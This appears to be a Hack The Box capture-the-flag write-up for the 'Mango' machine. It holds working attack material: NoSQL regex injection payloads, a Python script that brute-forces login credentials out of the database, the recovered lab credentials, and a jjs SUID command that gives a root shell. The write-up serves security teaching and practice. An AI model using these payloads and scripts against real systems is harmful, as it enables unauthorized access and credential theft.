HTB Writeup: Mango
Sweet Sweet Ma(o)ngo
Enumeration
nmap
➜ mostwanted002@Loki Mango please nmap -sC -sV -T3 -oA nmap-tcp-all-ports -p- -iL ip.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-28 04:59 IST
Nmap scan report for 10.129.1.219 (10.129.1.219)
Host is up (0.080s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
| 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_ 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.29 (Ubuntu)
443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after: 2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.40 seconds
- Web server is listening on
TCP/80
andTCP/443
. The SSL Certificate provides the domain namestaging-order.mango.htb
. - On requesting the same with curl at
TCP/80
responds with a 200 OK instead of 403 Forbidden as seen in nmap scan results.
Web applications
-
Two different web applications are found to be running on TCP/80 and TCP/443.
-
The TCP/80 provides with just a login form.
-
TCP/443 provides a search engine like interface.
Initial Foothold
Blind NoSQL Injection
-
The web applications were fuzzed for directories and files but no significant findings were made.
-
On testing the login form (TCP/80) for SQL, and NoSQL injections, it is found to be vulnerable to blind regex based NoSQL Injection.
-
Changing the parameters in the login form from
username
tousername[$regex]
andpassword
topassword[$regex]
allows an attacker to match strings based on regex in the database and bypass the login functionality. The complete form in HTTP request would look like:username[$regex]=^.*&password[$regex]=^.*&login=login
The regex
^.*
matches any whole word. This can be used to enumerate username and password, by iterating on the loop with injection pattern as^<CHAR_1>.*
. If the request receives a HTTP 302, it is confirmed that the inserted character is the part of the username or password, whichever is being enumerated. Then, a new iteration of loop can be started and so on until the complete word is enumerated and the loop can be exited.Since one of the usernames available is known via the landing page after successful login (
admin@mago.htb
), theusername
can be set toadmin
to skip directly to the password.Credentials are found to be
admin:t9KcS3>!0B#2
-
If
username
is left blank as default, it’ll always matcha
first and then follow to enumerateadmin
as username. To avoid this behavior and enumerate other possible usernames, a few manual iterations of the script can be done by setting just the first character of theusername
variable other thana
. -
The following python script can automate the processes involved in 3. and 4. altogether:
#!/usr/bin/env python3 import pwn import requests import string general_status = pwn.log.progress("Trying character") possible_first_char_status = pwn.log.progress("Possible first characters") username_status = pwn.log.progress("Username") password_status = pwn.log.progress("Password") last_status_code = pwn.log.progress("Last status code") possible_first_chars = [] usernames = [] credentials = {} url = "http://staging-order.mango.htb/index.php" headers = {'Content-Type': 'application/x-www-form-urlencoded'} wordlist = string.ascii_letters + string.digits + string.punctuation blacklist = ['*','+','.','?','|','&','$', '\\', '^'] print("Enumerating possible first characters") for char in wordlist: if char in blacklist: continue general_status.status(char) body = f"username[$regex]=^{char}.*&password[$regex]=^.*&login=login" resp = requests.post(url, data=body, headers=headers, allow_redirects=False) last_status_code.status(repr(resp.status_code)) if resp.status_code == 302: possible_first_chars.append(char) possible_first_char_status.status(repr(possible_first_chars)) print("Enumerating usernames") for char in possible_first_chars: reached_end_of_wordlist = False username = char while not reached_end_of_wordlist: for i in range(len(wordlist)): if wordlist[i] in blacklist: continue general_status.status(wordlist[i]) body = f"username[$regex]=^{username + wordlist[i]}.*&password[$regex]=^.*&login=login" resp = requests.post(url, data=body, headers=headers, allow_redirects=False) last_status_code.status(repr(resp.status_code)) if resp.status_code == 302: username += wordlist[i] username_status.status(username) break if i == (len(wordlist) - 1): reached_end_of_wordlist = True usernames.append(username) break reached_end_of_wordlist = False print("Enumerating password") for username in usernames: reached_end_of_wordlist = False password = '' while not reached_end_of_wordlist: for i in range(len(wordlist)): if wordlist[i] in blacklist: continue general_status.status(wordlist[i]) body = f"username={username}&password[$regex]=^{password + wordlist[i]}.*&login=login" resp = requests.post(url, data=body, headers=headers, allow_redirects=False) last_status_code.status(repr(resp.status_code)) if resp.status_code == 302: password += wordlist[i] password_status.status(password) break if i == (len(wordlist) - 1): reached_end_of_wordlist = True credentials.update({username: password}) break print(f"Found following credentials from the database:") print(credentials)
User access
- Using the credentials for
mango
from website database, SSH Session was achieved successfuly.
- On looking at
/etc/passwd
, another useradmin
is available on the system. Using the credentials dumped from database,su admin
allows to get a shell session as the useradmin
.
Privilege Escalation
Enumeration
-
The
find
program can be used to find all the executable files which haveSUID
permissions set. (SUID
bit enables the program to run with the privileges of the owner of the file. [ More info]) -
The command can be as following:
find / -perm -u=s uid 0 2>/dev/null # -perm -u=s -> to search only for files with SUID permission # uid 0 -> files owned by root # 2>/dev/null -> redirect stderr output to /dev/null for a cleaner output
/bin/fusermount /bin/mount /bin/umount /bin/su /bin/ping /snap/core/7713/bin/mount /snap/core/7713/bin/ping /snap/core/7713/bin/ping6 /snap/core/7713/bin/su /snap/core/7713/bin/umount /snap/core/7713/usr/bin/chfn /snap/core/7713/usr/bin/chsh /snap/core/7713/usr/bin/gpasswd /snap/core/7713/usr/bin/newgrp /snap/core/7713/usr/bin/passwd /snap/core/7713/usr/bin/sudo /snap/core/7713/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core/7713/usr/lib/openssh/ssh-keysign /snap/core/7713/usr/lib/snapd/snap-confine /snap/core/7713/usr/sbin/pppd /snap/core/6350/bin/mount /snap/core/6350/bin/ping /snap/core/6350/bin/ping6 /snap/core/6350/bin/su /snap/core/6350/bin/umount /snap/core/6350/usr/bin/chfn /snap/core/6350/usr/bin/chsh /snap/core/6350/usr/bin/gpasswd /snap/core/6350/usr/bin/newgrp /snap/core/6350/usr/bin/passwd /snap/core/6350/usr/bin/sudo /snap/core/6350/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core/6350/usr/lib/openssh/ssh-keysign /snap/core/6350/usr/lib/snapd/snap-confine /snap/core/6350/usr/sbin/pppd /usr/bin/newuidmap /usr/bin/newgrp /usr/bin/gpasswd /usr/bin/passwd /usr/bin/newgidmap /usr/bin/run-mailcap /usr/bin/chfn /usr/bin/chsh /usr/bin/sudo /usr/bin/traceroute6.iputils /usr/bin/pkexec /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/eject/dmcrypt-get-device /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs /usr/lib/openssh/ssh-keysign /usr/lib/snapd/snap-confine
-
The interesting executable from the list is
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
Exploitation
-
The GTFO Bins provides a command line string that can allow non-privileged user to run
jjs
with SUID permissions to escalate the privileges.echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -pc \$@|sh\${IFS}-p _ echo sh -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
-
On executing the command, a successful shell as
root
is obtained.
The remote host is now completely compromised.